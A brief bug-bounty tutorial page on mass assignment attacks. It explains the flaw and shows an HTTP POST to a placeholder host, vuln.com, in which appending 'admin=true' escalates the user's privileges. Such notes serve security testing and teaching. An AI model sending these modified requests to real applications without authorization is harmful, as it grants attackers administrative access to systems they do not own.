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AllAboutBugBounty/Misc/Mass Assignment.md
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Mass Assignment Attack

Introduction

Occurs when an app allows a user to manually add parameters in an HTTP Request & the app process value of these parameters when processing the HTTP Request & it affects the response that is returned to the user. Usually occurs in Ruby on Rails / NodeJS

How to Exploit

  • Normal request
POST /editdata
Host: vuln.com

username=daffa

HTTP/1.1 200 OK
...

username=daffa&admin=false
  • Modified Request
POST /editdata
Host: vuln.com

username=daffa&admin=true

HTTP/1.1 200 OK
...

username=daffa&admin=true